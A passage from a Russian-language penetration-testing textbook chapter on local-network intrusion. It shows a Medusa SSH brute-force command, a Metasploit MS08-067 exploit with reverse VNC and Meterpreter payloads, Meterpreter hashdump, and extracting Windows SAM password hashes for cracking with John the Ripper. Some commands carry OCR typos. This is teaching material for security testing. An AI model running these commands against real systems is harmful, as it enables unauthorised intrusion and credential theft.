Глава 11 Вторжение через локальную сеть ◾ Telnet; ◾ VNC; ◾ Webformulare и т. д. Для использования Medusa вам потребуется несколько данных, включая IP-адрес цели, имя пользователя или список имен, с которыми вы хотите войти в систему, файл словаря, содержащий множество возможных паролей, и имя службы, с которой вы хотите войти в систему. В Medusa можно считать список из пяти-десяти имен пользователей, а затем попытаться войти в удаленную службу аутентификации методом грубой силы. ­ ­ ­ Если у вас есть словарь паролей, хотя бы одно имя пользователя и целевой IP-адрес, на котором запущена какая либо служба удаленной аутентификации (например, SSH), вы можете запустить Medusa. Введите следующую команду в окне терминала: ‑ medusa -h [ip-address] -u [userrname] -P [Path to passwordDictionary -M [authentication service] Используйте опцию -h, чтобы указать IP-адрес целевого хоста. Опция -u предназначена для указания одного имени пользователя, которое Medusa должна использовать для входа в систему. Если у вас есть список имен пользователей, используйте -U (заглавная буква U), а затем укажите путь к файлу с именами пользователей. Опция -p позволяет указать один пароль; при использовании параметра -Р вы добавляете путь к списку нескольких паролей. Используйте опцию -M, чтобы выбрать службу, которую вы хотите атаковать. Пример Атаку можно лучше проиллюстрировать на примере. Тест на проникновение должен проводиться на сайте company.com. При сборе информации с помощью MetaGooFil вы обнаружили пользователя mmuster и IP-адрес 192.168.56.20. Сканирование портов показало, что на сервере запущена служба SSH на порту 22. На третьем этапе вы можете попытаться получить доступ к этому серверу с помощью атаки грубой силы. medusa -h 192.168.56.20 -u mmuster -P /usr/share/wordlists/ fasttrack.txt -M ssh Первая строка вывода показывает введенную команду, вторая — информационный экран, который выводится при запуске программы, остальные — автоматические попытки входа в систему с именем mmuster и различными паролями. Используемый пароль также всегда отображается. В случае успешной работы вы можете войти в систему как пользователь по сети, открыв командную строку или терминал и установив SSH-соединение с объектом. ­ 218
11.2 Захват системы В зависимости от объема и целей, указанных в авторизации и контракте, тест на проникновение может быть завершен уже на этом этапе. Вы успешно получили доступ к чужой системе. Внимание! Если у вас есть проблемы при запуске Medusa (или любого другого инструмента, упомянутого в книге) на Kali, вам может помочь переустановка программы. Для Medusa используйте следующие команды: ■ ■ ■ apt-get remove medusa; apt-get update; apt-get install medusa. 11.2 Захват системы Важная часть тестов на проникновение — захват систем, когда вы как взломщик пытаетесь получить полный контроль над целевой системой, чтобы манипулировать ее функциональностью или украсть конфиденциальную информацию. Успешное поглощение может позволить тестировщику устанавливать вредоносное ПО, изменять настройки или выполнять другие вредоносные действия. Проведя тесты на проникновение, организации смогут выявить слабые места и принять меры по усилению защиты своих систем. Благодаря собранной на данный момент информации у вас также есть возможность удаленно управлять системами, почти как в фильме «Пароль “Рыбамеч”». Есть, например, инструмент Metasploit. В следующем разделе вы узнаете, как он работает. Metasploit — важный инструмент для тестирования на проникновение. С помощью OpenVAS вы уже искали (и, возможно, нашли) уязвимости в целевой системе, которые можно использовать для атаки Metasploit. В этом контексте давайте еще раз взглянем на Meterpreter — сокращение от метаинтерпретатора. Это мощный и гибкий инструмент, с которым должен ознакомиться каждый тестировщик на проникновение. Meterpreter — это полезная нагрузка, доступная в Metasploit, которая предоставляет злоумышленнику мощную командную оболочку для взаимодействия с целевым компьютером. Поскольку Meterpreter полностью работает в оперативной памяти и не обращается к жесткому диску, этот подход обеспечивает определенную маскировку и помогает оставаться незамеченным для многих антивирусных систем, а также сбивает с толку некоторые экспертные инструменты. Meterpreter работает аналогично командной строке Windows (cmd.exe) или команде Linux /bin/sh. Как только Meterpreter установлен на целевом компьютере, злоумышленник 219
Глава 11 Вторжение через локальную сеть может работать с этим компьютером и выполнять команды, как будто он сидит прямо за клавиатурой. Meterpreter работает с правами программы, которая была использована. Например, сетевой администратор — бездумно — запускает IRC-программу с правами root51. К сожалению, система, на которой работает IRC-клиент, устарела. Поэтому злоумышленнику удается использовать IRC-клиент и установить в него Meterpreter, который теперь имеет все права учетной записи root! Поэтому следует запускать все программы с минимально возможными правами, а не с правами root или администратора. Еще один аргумент в пользу использования Meterpreter: запуск других оболочек, таких как cmd или Linux shell, запускает новый процесс, который может обнаружить опытный администратор. Это повышает риск быть замеченным во время взаимодействия с целевым компьютером и ставит под угрозу видимость злоумышленника. Кроме того, в cmd.exe и /bin/sh доступно лишь ограниченное количество инструментов и команд. Meterpreter, с другой стороны, был разработан в качестве «хакерской командной оболочки» с возможностью управления инструментами и функциями, наиболее часто используемыми в тестах на проникновение. 11.2.1 Metasploit Во многих отношениях Metasploit — воплощение хакерской мечты. Это мощный, гибкий, бесплатный и просто замечательный инструмент. Его истоки восходят к сетевой игре, полный потенциал которой раскрылся только тогда, когда она была преобразована в полностью оснащенный инструмент для эксплуатации. Metasploit представляет собой набор различных инструментов с десятками функций для разных целей, но наиболее известен он своей мощной и гибкой платформой для эксплойтов. До выхода Metasploit у вас было только два варианта: ◾ Разработать свой собственный код, комбинируя различные эксплойты и полезные нагрузки. ◾ Инвестировать в одну из двух коммерческих платформ для эксплойтов (CORE Impact или CANVAS от ImmunitySec). CORE Impact и CANVAS были отличными продуктами и очень успешными. Но из-за стоимости лицензирования и абонентской платы они были недоступны для многих исследователей безопасности. С Metasploit все изменилось. Хакеры и тестировщики на проникновение получили доступ к по-настоящему открытой среде эксплойтов. Любой желающий может бесплатно получить доступ, внести свой вклад, разработать и поделиться эксплойтами. Также эксплойты могут быть созданы с помощью 51 220 root в Linux соответствует учетной записи администратора Windows.
11.2 Захват системы профессиональной модульной системы. Теперь каждый способен собирать эксплойты в соответствии со своими потребностями. С помощью Metasploit вы можете указать цель и выбрать из широкого спектра полезных нагрузок (Payloads). Эти полезные нагрузки взаимозаменяемы и не привязаны к конкретным эксплойтам. Полезная нагрузка — это «дополнительная функциональность» или изменение поведения, которое вы хотите достичь в целевой системе. Чем Metasploit отличается от сканера уязвимостей? Сканер уязвимостей, как правило, проверяет только уязвимость системы. Проверка выполняется очень пассивно, поэтому случайное повреждение или сбой в целевой системе маловероятны. Metasploit и другие фреймворки — инструменты атаки: вместо тестирования они фактически проникают в систему. Сканер ищет потенциальную уязвимость и сообщает о ней, а Metasploit использует эту уязвимость. Опасения, что после приобретения Metasploit компанией Rapid 7 останется только коммерческая версия, не оправдались. Сделка дала проекту мощный толчок. Базовая версия Metasploit по-прежнему бесплатна, но есть и отличные коммерческие продукты, такие как Metasploit Express и Metasploit Pro. Если вы работаете с Kali Linux, Metasploit уже входит в комплект поставки. Вы можете использовать этот инструмент разными способами. В этой книге мы сосредоточимся на неграфическом интерфейсе и будем использовать текстово-ориентированную систему msfconsole. Как только вы узнаете основы, вы сможете использовать msfconsole быстро и легко. Чтобы получить доступ к ней, введите команду msfconsole в терминале. Также можно найти ее в меню десктопного приложения. Запуск msfconsole занимает до 30 секунд: не стоит паниковать, если какое то время ничего не происходит. Если Metasploit загружен, он показывает приветственный баннер и подсказку msf>. Поскольку есть различные приветственные баннеры, выбранные случайным образом, изображение может меняться. Важно, чтобы в командной строке отображалось msf>. ­ ‑ Когда Metasploit загружен, он отображает количество эксплойтов, полезной нагрузки, шифраторов и NOPS. Благодаря активному сообществу и официальному финансированию Metasploit быстро развивается, поэтому важно всегда поддерживать его в актуальном состоянии: apt update; apt install metasploit-framework ­ Если Metasploit не входит в состав вашей ОС, вместо него используйте команду: msfupdate. 221
Глава 11 Вторжение через локальную сеть Для использования Metasploit необходимо указать следующее: ◾ Target. ◾ Exploit. ◾ FormPayload. Наконец, вам нужно запустить эксплойт. Как это будет выглядеть в деталях, я расскажу в ближайшее время. Сначала давайте разберемся с основной терминологией Metasploit. Эксплойт — это заранее подготовленный код, который отправляется на другую систему. Что вызывает необычное поведение на целевой системе и позволяет выполнить полезную нагрузку. Полезная нагрузка, в свою очередь, — небольшой блок кода, который выполняет определенную задачу. Уязвимости позволяют злоумышленнику с помощью эксплойта проникнуть в желаемую систему и выполнить там код (полезные нагрузки). Однако следует иметь в виду, что Metasploit — это снайперская винтовка, а не пулемет. Новички часто настолько перегружены большим количеством эксплойтов и полезной нагрузки, что увязают в поисках подходящих эксплойтов и используют все возможные, надеясь, что некоторые возымеют эффект. Вместо того чтобы вслепую набрасываться на цель с эксплойтами, нужно искать подходящие для выявленных уязвимостей. Как только вы освоите этот процесс, захват цели с уязвимостями превратится в детскую игру. Чтобы назначать уязвимости эксплойтам, вы должны просмотреть результаты второго шага («Сканирование») — процедуры, указанной в главе 10. Во-первых, вы должны сосредоточиться на результатах отчета OpenVAS и выводе команды nmap-script vuln. Сканер уязвимости OpenVAS отображает список известных уязвимостей. Следует учитывать уязвимости, определяемые как высокие или критические. Многие из них, особенно те, кто имеет отношение к отсутствующим патчам Microsoft, могут быть непосредственно назначены эксплойтам Metasploit. Допустим, вы нашли пункт назначения с IP-адресом 1G2.1G8.5G.131. Nmap сообщает, что это компьютер с Windows 7 с Service-Pack 1 и отключенным брандмауэром. На втором этапе вы запускаете как скрипт сканирования NSE VULN, так и OpenVAS на цели. Если OpenVAS обнаружит, что система Windows недостаточно исправлена, у вас уже есть хорошая отправная точка. ‑ ­ В OpenVAS вы можете щелкнуть на отдельно найденные уязвимости, а затем углубиться в детали, чтобы узнать точные подробности проблемы. Если на целевой системе не установлены патчи Microsoft, у вас есть все шансы найти подходящий эксплойт, особенно если в подробном описании уязвимости упоминается «удаленное выполнение кода». Metasploit позволяет искать эксплойты для недостающих патчей. После обновления Metasploit и запуска консоли вы можете использовать команду 222
11.2 Захват системы search для поиска эксплойтов, связанных с результатами OpenVAS или Nmap. Для этого введите номер отсутствующего патча после команды search. Например: search ms08–067 Вы также можете найти более поздний эксплойт, указав дату. С помощью поиска 2019 вы найдете все эксплойты, начиная с 2016 года. После выполнения команды запишите все результаты и найдите другие недостающие патчи. Как выглядит этот процесс в деталях? ◾ Сначала запустите Metasploit и введите команду поиска, а затем патч, который, по данным OpenVAS, отсутствует. ◾ Metasploit находит подходящий эксплойт и выводит информацию о нем. ◾ Первыми данными являются имя и местоположение эксплойта, в данном примере это exploit/windows/smb/ms08_67_netapi. ◾ Затем Metasploit выводит «Rank» и краткое описание. Внимание Функцию поиска Metasploit также можно использовать для поиска эксплойтов, не имеющих ничего общего с Microsoft. OpenVAS и другие продукты, такие как сканирование Nmap-SCRIPT VULN, часто идентифицируют критические уязвимости по номеру CVE или BID (Bustraq ID). Если вы не можете найти эксплойт для отсутствующего патча MS или выполняете тест на проникновение в продукте стороннего производителя, вам нужно будет выполнить поиск подходящих эксплойтов, используя номер CVE или BID. Вы также можете найти эти цифры в подробной информации отчета о сканировании уязвимостей. ­ Вы должны обратить особое внимание на ранг. Он показывает, насколько надежен эксплойт, то есть как часто он срабатывает, и какова вероятность того, что из-за него целевая система нестабильна или выйдет из строя. Чем выше рейтинг эксплойта, тем выше вероятность его успеха и тем меньше вероятность сбоев в целевой системе, препятствующих успешному выполнению эксплойта. Для этого Metasploit использует семь рангов: 1. 2. 3. 4. 5. 6. 7. Manual (ручной). Low (низкий). Average (средний). Normal (нормальный). Good (хороший). Great (великолепный). Excellent (отличный). 223
Глава 11 Вторжение через локальную сеть Для получения дополнительной информации и официального определения метода ранжирования посетите веб-сайт Metasploit 52. Наконец, функция поиска Metasploit предоставляет краткое описание эксплойтов. Если на выбор предлагается несколько похожих эксплойтов, рекомендуется выбрать тот, который имеет наивысший рейтинг/ранг: риск сбоя в работе целевого объекта минимален. Когда Metasploit запускается, у вас есть множество вариантов атаки. В качестве примера мы будем использовать экплойт MS08–067, так как у него высокий рейтинг. Выполните команду в терминале: use exploit/windows/smb/ms08_067_netapi Это дает команду Metasploit выполнить нужный эксплойт. Командная строка msf> теперь изменится на командную строку выбранного эксплойта. После того как эксплойт загружен, можно просмотреть доступные полезные нагрузки. Для этого выполните в терминале следующую команду: show payloads Команда отображает все доступные и совместимые полезные нагрузки для выбранного эксплойта. Чтобы выбрать одну из них, введите set payload, а затем имя полезной нагрузки: set payload windows/vncinject/reverse_tcp На выбор предлагается множество полезных нагрузок. Полное описание выходит за рамки этой книги, но я покажу вам некоторые. Более подробную информацию о доступных полезных нагрузках вы можете найти в документации Metasploit. В примере мы установим VNC 53 на целевой компьютер и заставим его подключиться к компьютеру злоумышленника. Помните, что ПО VNC еще не установлено на целевом ПК. Эксплойты могут дать вам это сделать, и один из таких эксплойтов был использован в примере. При успешном запуске программа payload вызывает команду install vns и устанавливает ПО по сети на ПК. В зависимости от полезной нагрузки может потребоваться настроить дополнительные параметры. Если вы пропустите это, эксплойт выйдет из строя. Нет ничего более раздражающего, чем зайти так далеко, а затем забыть настроить опцию. Вам следует уделить этому шагу должное внимание! Вы можете ознакомиться с доступными вариантами. Для этого введите следующую команду: show options 52 53 224 www.metasploit.com VNC — программа для удаленного управления компьютером, которая позволяет вам входить в систему удаленного компьютера, просматривать его дисплей и управлять мышью и клавиатурой так, как будто вы сидите за этим компьютером лично.
11.2 Захват системы Здесь отображаются параметры выбора для соответствующей полезной нагрузки. Для windows/vncinject/reverse_tcp необходимо задать два параметра, поскольку для них нет значений по умолчанию, а именно RHOST и LHOST. RHOST — это IP-адрес цели (удаленного компьютера), а LHOST — IP-адрес атакуемого компьютера (локального узла). Параметры можно задать так: set RHOST 192.168.56.20 set LHOST 192.168.56.26 После успешной настройки параметров следует снова ввести команду show options, чтобы убедиться, что все параметры были введены правильно. После этого можно отправить эксплойт на цель. Для этого просто введите в терминале команду exploit: Рис. 11.1. Команды для запуска эксплойта в Metasploit (без showpayloads и showoptions) Теперь вы можете расслабиться и смотреть, как инструмент справляется со своей задачей. Однако рекомендуется узнать больше и понять, что происходит 225
Глава 11 Вторжение через локальную сеть с эксплойтами. После входа Metasploit выполняет свою работу, отправляя эксплойты и полезные нагрузки цели. Если все настроено правильно, через несколько секунд вы увидите экран целевого компьютера. В примере вы можете увидеть дисплей целевого компьютера и работать с ним, как если бы вы сидели прямо перед ним. Инъекция VNC прекрасно подходит для демонстрации друзьям, родственникам и коллегам, но редко используется в тестах на проникновение. Часто предпочтительнее простая оболочка, которая обеспечивает удаленный доступ к целевому компьютеру и его удаленному управлению. В таблице 11.1 перечислены некоторые из основных полезных нагрузок. Полный список можно найти в документации Metasploit. Одна из сильных сторон инструмента — возможность комбинировать эксплойты и Payloads в соответствии с целью. Это обеспечивает тестировщикам на проникновение невероятную универсальность и позволяет адаптировать функциональность Metasploit к желаемому результату. Рекомендуется ознакомиться с имеющимися. Название Описание windows/adduser Создает нового пользователя в группе локальных администраторов на целевом компьютере. windows/exec Запускает двоичный файл Windows (.exe) на целевом компьютере. windows/shell_bind_tcp Открывает командную оболочку на целевом компьютере и ожидает подключения. windows/shell_reverse_tcp Целевой компьютер устанавливает соединение с злоумышленником и открывает командную оболочку (на целевом компьютере). windows/meterpreter/bind_tcp Устанавливает Meterpreter на целевом компьютере и ожидает подключения. windows/meterpreter/reverse_tcp Устанавливает Meterpreter на целевом компьютере и устанавливает соединение с злоумышленником. windows/vncinject/bind_tcp Устанавливает VNC на целевом компьютере и ожидает подключения. windows/vncinject/reverse_tcp Устанавливает VNC на целевом компьютере и устанавливает соединение VNC с злоумышленником. Таблица 11.1. Выбор доступных полезных нагрузок для атак на компьютеры под управлением Windows Многие из этих полезных нагрузок также доступны для Linux, BSD, OS X и других ОС. Подробности можно найти в документации Metasploit. Различие 226
11.2 Захват системы между похожими полезными нагрузками, такими как windows/meterpreter/ bind_tcp и windows/meterpreter/reverse_tcp, часто приводит к путанице. Успех или неудача эксплойта часто зависит от того, когда следует использовать тот или иной вариант. Между этими двумя полезными нагрузками есть простое, но важное различие — направление соединения, которое устанавливается после доставки эксплойта. При использовании Bind-Payload доставка эксплойта и установление соединения осуществляются с атакующего компьютера. После отправки эксплойта цели она ожидает входящего соединения. Именно атакующий компьютер должен установить соединение. ­ Привязанные полезные нагрузки Эксплойт Злоумышленник Цель Соединение Обратная полезная нагрузка Эксплойт Злоумышленник Цель Соединение Рис. 11.2. Разница между связующей и обратной полезной нагрузкой (Bind- и Reverse Payload) При обратной полезной нагрузке атакующий компьютер также отправляет эксплойт, но заставляет целевой компьютер установить соединение с ним. Таким образом, целевой компьютер не ждет входящего соединения через указанный порт или службу, а устанавливает его. Рисунок 11.2 иллюстрирует эти два принципа. 11.2.2 Meterpreter Когда дело доходит до Metasploit, вам также следует обратить внимание на Meterpreter. Это мощный и гибкий инструмент, с которым должен ознакомиться каждый хакер, если он хочет правильно использовать Metasploit. Meterpreter — это полезная нагрузка, доступная в Metasploit, которая предоставляет пользователям мощную командную оболочку, позволяющую им взаимодействовать с целевым компьютером. Meterpreter работает только в оперативной памяти и никогда не обращается к жесткому диску. Это маскирует атаку и помогает многим антивирусным системам оставаться незамеченным, а также сбивает с толку некоторые экспертные инструменты. Принцип работы инструмента аналогичен командной строке Windows или 227
Глава 11 Вторжение через локальную сеть оболочке Linux. После установки Meterpreter на целевой компьютер злоумышленник может работать с этим компьютером и выполнять команды, как если бы он сидел прямо перед ним. Однако помните, что счетчик может работать только с привилегиями программы, которая была использована. Это также одна из причин, по которой все программы должны запускаться с минимально необходимыми правами, а не с правами администратора. Также рекомендуется использовать Meterpreter, поскольку командная строка Windows или оболочка Linux обычно запускают новый процесс, который может распознать опытный пользователь или администратор. Это увеличит риск обнаружения при взаимодействии с целевым компьютером. Кроме того, в отличие от командной строки и оболочки, в которых доступно только ограниченное количество команд и инструментов, Meterpreter умеет управлять инструментами и функциями, наиболее часто используемыми при тестировании на проникновение. Meterpreter уже оснащен множеством функций в стандартной комплектации. Эти основные функции включают команду migrate, которая позволяет перенести сервер Meterpreter в другой процесс. Это может понадобиться, если используемая вами служба остановлена. Просмотр локальных файлов на экране с помощью команды cat тоже может оказаться полезным. При загрузке вы можете загрузить копию файла или каталога на компьютер, использованный для атаки, а при загрузке вы можете переместить файлы со своего компьютера на целевой компьютер. Вы можете изменить файлы с помощью команды edit и выполнить команду на зараженном компьютере, а также завершить процессы в Meterpreter с помощью kill. Но есть также множество команд, выполняющих ту же функцию, что и на обычном компьютере под управлением Linux: ls, cd, mkdir и многое другое. Meterpreter содержит множество других функций, полезных для взлома: ◾ ◾ ◾ ◾ ◾ определение хеш пароля (команда: hashdump); работа с оболочкой Ruby; произвольная загрузка и выполнение DLLs 54 на целевом компьютере; удаленное управляние микрофоном и веб-камерой; блокировка мыши и клавиатуры целевого компьютера и т. д. Оболочка Meterpreter предоставляет один из самых мощных, гибких и незаметных способов взаимодействия с целевым компьютером. Время, потраченное на знакомство с Meterpreter, определенно стоит того. Мы вернемся к Meterpreter на этапе постобработки. 54 228 Dynamic Link Libraries — библиотеки динамических ссылок.
11.3 Взлом паролей 11.3 Взлом паролей Основы взлома невозможно объяснить, не обсудив тему паролей и способов их взлома. Что бы ни происходило в процессе разработки, пароли остаются самым часто используемым способом защиты данных от несанкционированного доступа и ограничения доступа к системам. Поэтому в этом разделе мы рассмотрим способы взлома паролей. Для этичных хакеров есть несколько причин быть заинтересованными во взломе паролей. Самый важный из них — это отличный способ повысить и расширить свои права. Подумайте о том, что будет, если вы проникните в чужую систему и обнаружите, что у вас нет никаких прав на нее. Независимо от того, что вы делаете, вы не сможете просматривать или записывать файлы и папки в целевой системе. И что еще хуже для вас как для злоумышленника, вы также не можете установить новое ПО. В случае атаки вы зачастую изначально будете иметь доступ только к учетной записи пользователя с небольшими правами, поскольку она принадлежит к группе «пользователь» или даже «гость». Доступ к учетной записи с ограниченными правами или вообще без них означает, что многие шаги, необходимые для дальнейшего проникновения в систему и ее захвата, не могут быть выполнены. Если вы получили доступ к непривилегированной учетной записи, не стоит сразу зарывать голову в песок. Усилия, затраченные на получение доступа к учетной записи, все еще могут стоить того. В этом случае взлом паролей — хороший способ повысить привилегии, что часто дает вам права администратора в целевой системе. Административные привилегии также необходимы для установки и использования многих инструментов, которые используют специалисты по тестированию на проникновение. Поэтому всегда стоит взламывать пароли и повышать привилегии. Как хакер, вы можете обнаружить, что взламываете пароль учетной записи локального администратора, а затем понять, что системный администратор использует тот же пароль для своей учетной записи администратора домена. Если вы получите доступ к хешам паролей 55 целевого компьютера, у вас хорошие шансы узнать версию в открытом виде с помощью взломщика паролей типа JtR — при условии, что у вас достаточно времени. 55 Хеш пароля — зашифрованная и захешированная версия обычного текстового пароля. 229
Глава 11 Вторжение через локальную сеть Доступ к хешам паролей можно получить локально или по сети. В обоих случаях для взлома паролей используются одни и те же инструменты и процедуры. Обычно процесс состоит из двух шагов. 1. 2. Поиск файла хеша пароля на целевой системе и его загрузка. Преобразование хешированного пароля в обычный текстовый пароль. На большинстве распространенных систем пароли хранятся не в открытом виде, а в зашифрованном формате, так называемом хеше. Как только вы входите в систему, на заднем плане из введенного вами пароля вычисляется хешзначение и сравнивается с зашифрованной версией. Для создания хеша пароля разные системы используют различные алгоритмы хеширования. Хеши паролей большинство систем хранит в одном месте. Этот хеш-файл содержит все зашифрованные пароли для разных пользователей и системных учетных записей. Получение доступа к хешам паролей — это только начало, так как невозможно извлечь из них текстовую версию. Технически не должно быть возможно вывести текст из хеша: зашифрованный хеш не должен быть расшифрован. Тем не менее вы хотите узнать текст из хеша пароля. В конце концов, пароль нужен в текстовом виде, а не в виде хеш-значения. Оно не даст доступ к системе, так как она будет вычислять хеш хеша — что, конечно, неверно. Открытый текст пароля можно получить, последовательно выполняя ряд шагов. Для этого необходимо выбрать хеш-алгоритм и открытый текст пароля, который затем будет зашифрован с помощью этого алгоритма. На последнем шаге новый хеш сравнивается с хешем на целевом компьютере. Если два хеша совпадают, это означает, что исходное слово было паролем, поскольку два разных слова не могут привести к одному и тому же хешу. Хотя для людей это кажется довольно утомительной и медленной процедурой, компьютеры идеально подходят для таких задач. Благодаря вычислительным мощностям выполнение этой процедуры — детская игра для современного компьютера. Скорость, с которой такие инструменты, как JtR, генерируют хеши паролей, зависит в первую очередь от того, какой алгоритм используется и на каком оборудовании работает программа. Даже средний компьютер способен генерировать миллионы паролей Windows LM (LM = менеджер локальной сети) в секунду. 11.3.1 Локальный взлом паролей Во-первых, на локальном компьютере необходимо найти хеш-файл паролей, чтобы взломать. В большинстве систем хеши паролей хранятся в центральном месте. В системах Windows это файл SAM (менеджер учетных записей безопасности). Для систем на базе Windows NT, то есть всех систем Windows 230
11.3 Взлом паролей до текущей версии Windows 11, этот файл находится в каталоге C:\Windows\ System32\Config\. Хотя теперь вы знаете, где находится файл, Microsoft защитила важную информацию с помощью функции безопасности, поэтому хеши паролей невозможно просто извлечь из файла. Windows блокирует файл SAM при запуске ОС, чтобы его нельзя было открыть или скопировать во время работы системы. Кроме того, весь файл SAM зашифрован и не может быть просмотрен. Однако, конечно, есть способы обойти ограничения. Поскольку в первую очередь речь идет о локальных атаках, при которых у вас есть физический доступ к системе, можно обойти блокировку, запустив альтернативную операционную систему, такую как Kali Linux, с помощью Live-C D. Таким образом, вы обойдете SAM-блокировку Windows, так как Windows не запускается и никакая блокировка не активирована. Таким образом, у вас будет свободный доступ к файлу SAM, который, к сожалению, все еще зашифрован. Чтобы получить доступ к хешам, вам понадобится еще один инструмент, который тоже входит в состав Kali. ­ Когда на вашем целевом компьютере запущена альтернативная операционная система, вам нужно будет смонтировать локальный жесткий диск, который содержит папку Windows. Для этого введите в терминале следующую команду: mount /dev/sda1 /mnt/sda1 Внимание! Всегда проверяйте, тот ли жесткий диск вы монтируете для целевой системы: он не называется /dev/sdal. Если вы не уверены, как на самом деле называется диск, вы можете запустить команду fdisk –1. Это выведет список дисков, доступных в целевой системе, который также должен содержать жесткий диск, подлежащий монтировке. Вам может понадобиться создать точку монтировки в каталоге /mnt: mkdir /mnt/sda1 После того как вы смонтировали локальный жесткий диск в Kali, вы можете выполнить поиск на диске C:. Получить доступ к папке с файлом SAM можно с помощью следующей команды в терминале: cd /mnt/sda1/Windows/system32/config Вы можете использовать команду ls для просмотра содержимого папки. В результате вы сможете найти файл SAM. 231
Глава 11 Вторжение через локальную сеть На этом этапе вы уже готовы просмотреть и скопировать файл SAM, но он все еще зашифрован. Чтобы просмотреть незашифрованную версию, вы можете использовать инструмент Samdump2. Программа использует файловую систему локального компьютера для расшифровки файла SAM. К счастью, этот файл находится в том же каталоге, что и файл SAM. Sampdump2 запускается путем ввода команды samdump2 с параметром location и именем системного файла, а также местоположением и именем файла SAM. Поскольку вы уже переходили в этот каталог, введите следующее: samdump2 system SAM > /tmp/hashes.txt Вызов вышеуказанной команды сохраняет результаты в файле hashes.txt в каталоге /tmp в Kali с помощью опции /tmp/hashes.txt. Перед продолжением работы рекомендуется проверить извлеченные хеши. Для просмотра содержимого файла hashes.txt можно использовать команду cat: cat /tmp/hashes.txt Предупреждение В системах Windows иногда может потребоваться дополнительный шаг для получения хеш-значений. Вы можете использовать инструмент Bkhive, чтобы получить загрузочный ключ Syskey. Bkhive требует указать системный файл и имя выходного файла, в котором будет храниться ключ. Если вы уже находитесь в папке с файлами System и SAM, вы можете запустить Bkhive с помощью следующей команды, чтобы получить ключ: bkhive system sys_key.txt После этого вы можете продолжать взлом пароля с помощью Sampdump2, но вместо системного файла используйте только что созданный sys_key.txt: sampdump2 SAM sys_kay.txt > /tmp/hashes.txt Если у вас есть хеши паролей, достаточно записать их с активного диска Kali Drive. Вы можете отправить файл hashes.txt себе по электронной почте или скопировать на USB-накопитель. В любом случае вам следует сохранить файл, поскольку вы работаете с Live CD и изменения по умолчанию не постоянны. Если вы затем перезагрузите целевой компьютер, все данные, созданные в работающей системе, могут исчезнуть. Теперь вы можете начать взламывать пароли. Для этого вам понадобятся инструменты типа John the Ripper (JtR). Подробнее о нем можно прочитать в разделе 11.3.3. 232
11.3 Взлом паролей 11.3.2 Взлом пароля через сеть Не всегда можно получить прямой доступ к компьютеру, поэтому недостаточно просто хорошо разбираться в том, как взломать пароли локально. В этом разделе мы рассмотрим, что можно делать при взломе паролей по сети. Обычно первый шаг в этом процессе — успешная отправка эксплойта в целевую систему. В разделе 11.2.1 вы отправили полезную нагрузку VNC в место назначения с помощью Metasploit. Это может быть очень весело, но оболочка Meterpreter была бы полезнее для цели, поскольку она оснащена большим количеством функций. Эта удаленная оболочка предоставляет доступ к уникальному терминалу, который упрощает перехват паролей. После успешного запуска сеанса Meterpreter достаточно ввести команду hashdump. Meterpreter обходит все существующие механизмы безопасности Windows и отображает имена пользователей и хеши целевого компьютера. Чтобы отправить meterpreter в качестве полезной нагрузки на цель, можно выполнить, например, эксплойт MS08–0GG. Все, что вам нужно сделать, — вызвать msfconsole в терминале и отправить эксплойт. Затем можно просто вызвать команду hashdump, и целевой компьютер выдаст вам хеши имени пользователя и пароля. msfconsole Теперь консоль Metasploit запущена, и вы можете приступить к отправке эксплойта. use exploit/windows/smb/ms08–76_netapi set payload windows/meterpreter/reverse_tcp set RHOST 192.168.1.109 set LHOST 192.178.1.108 exploit Meterpreter запущен на месте назначения, и вы можете вводить команды: hashdump Meterpreter выведет список всех пользователей с хешами паролей, которые теперь можно скопировать прямо из терминала и вставить в текстовый файл. Когда у вас есть хеши паролей, вы можете использовать JtR для их взлома. 11.3.3 JtR — взлом паролей John the Ripper, также известный как John или JtR, — это широко используемое ПО для тестирования систем аутентификации и паролей. Оно разработано так, чтобы содержать множество функций и при этом оставаться быстрым. Оно сочетает несколько методов взлома в одной программе и может быть настроено под индивидуальные требования. 233
Глава 11 Вторжение через локальную сеть JtR поддерживает следующие типы хешей Unix-Crypt(3) и автоматически их распознает: ­ ◾ ◾ ◾ ◾ ◾ традиционный DES-шифр; Bigcrypt; усиленный BSDI на основе DES; FreeBSD на основе MD5 (также под Linux и в Cisco IOS); OpenBSD на основе Blowfish (сейчас также используется в некоторых дистрибутивах Linux и поддерживается в текущих версиях Solaris). По умолчанию ◾ Kerberos; ◾ AFS и Windows LM-хеши (на основе DES); ◾ трипкоды на основе DES также поддерживаются в стандартном режиме. JtR предназначен для расшифровки зашифрованных паролей с помощью грубой силы или словарной атаки. Это делается путем шифрования текстовой строки и последующего сравнения хеша текстовой строки с хеш-значением уже зашифрованного пароля. JtR также включает отличную функцию, позволяющую измерять производительность компьютера по количеству взломов в секунду (c/s). Вы можете сделать это, переключившись в каталог /usr/share/john в терминале, но это необязательно, так как исполняемый файл находится в /usr/sbin и его можно запустить из любого каталога. Чтобы начать измерение c/s, вы должны ввести в терминале следующую команду: sudo john —test Затем вы увидите ряд показателей производительности. Они покажут, насколько быстро система способна создавать угаданные пароли с заданным оборудованием и алгоритмом хеширования. 234
11.3 Взлом паролей Рис. 11.3. Измерение c/s с John the Ripper Если у вас есть хеш-значение из файла паролей, вы можете начать взлом. Но перед этим давайте кратко рассмотрим, как Windows создает хеш пароля. Microsoft использовал алгоритм хеширования LAN-Manager (LM), но у него были значительные слабые места, поэтому взлом паролей стал детской игрой. При создании хеша он преобразовал весь пароль в заглавные буквы, что снижает его надежность. Но ситуация еще хуже: все пароли LM имеют длину 14 символов. Более короткие пароли дополняются нулями, а более длинные обрезаются до 14 символов. Кроме того, все пароли LM длиной 14 символов разделяются и сохраняются как два отдельных пароля по семь символов каждый. Длина пароля — это фактор, который способствует безопасности, но из-за дизайна LM злоумышленникам нужно взломать только пароли длиной семь символов. JtR может 235
